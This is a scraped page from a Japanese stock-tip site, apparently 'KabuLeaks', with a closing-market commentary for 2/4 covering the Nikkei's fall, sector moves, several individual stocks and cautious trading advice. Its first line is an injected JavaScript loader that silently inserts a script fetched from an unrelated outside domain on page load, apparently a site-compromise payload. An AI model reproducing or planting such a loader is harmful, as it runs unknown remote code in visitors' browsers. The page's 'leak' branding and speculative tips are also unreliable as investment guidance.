;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/4 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/4 大引け】

本日の日経平均株価は146円安と3日続落。後場の日経平均は一時押し目買いから下げ渋るプラス圏に浮上する場面もあったが国内企業業績に対する懸念や円高。また、米1月雇用統計発表を前に様子見ムードも広がり上値は重くその後再びマイナス圏に。終盤にかけてやや戻すも限定的となった。業種別では、非鉄金属、鉱業、パルプ・紙、石油石炭製品が値上がり率上位に。一方、値下がりは率上位は小売業、水産・農林業、保険業、医薬品などとなった。

個別では、NHKでホンハイ傘下で再建の方針決定と伝わった【6753】シャープが後場急伸。(正式にはまだ決定していません) ほか、ウェアラブル翻訳デバイス開発のログバーと提携を発表した【2468】フュートレックがストップ高。その他、自社株買い好感の【2489】アドウェイズ、【9928】ミロク情報サービス。前日の決算内容好感の【8056】日本ユニシス、場中に決算発表、これを好感された【4188】三菱ケミカルホールディングスなども大幅高に。

テーマ株からは5G関連の【3852】サイバーコムが後場急伸の大幅反発。民泊事業本格参入が伝わった【3300】AMBITIONは前場急伸、後場も高値圏を維持し明日も上値追いが期待できそうな終わり方となった。

日経平均は節目の1万7000円台を終値で維持も連日の大幅安からの戻りは鈍く方向感が掴み難い状況だ。普通に考えればこの3日間の下げで調整は完了。押し目を狙いたい局面だが企業業績懸念、原油安、中国経済など不安材料多く、それに加え明日は週末、そして雇用統計も控えやはり様子見がいいかと思う。

物色は完全に個別物色の流れ。好業績銘柄、材料株以外は今のところは手出し無用。テーマ株も一部を除いて投売りが多く触るなら慎重に噴いたら売りを徹底しておきたい。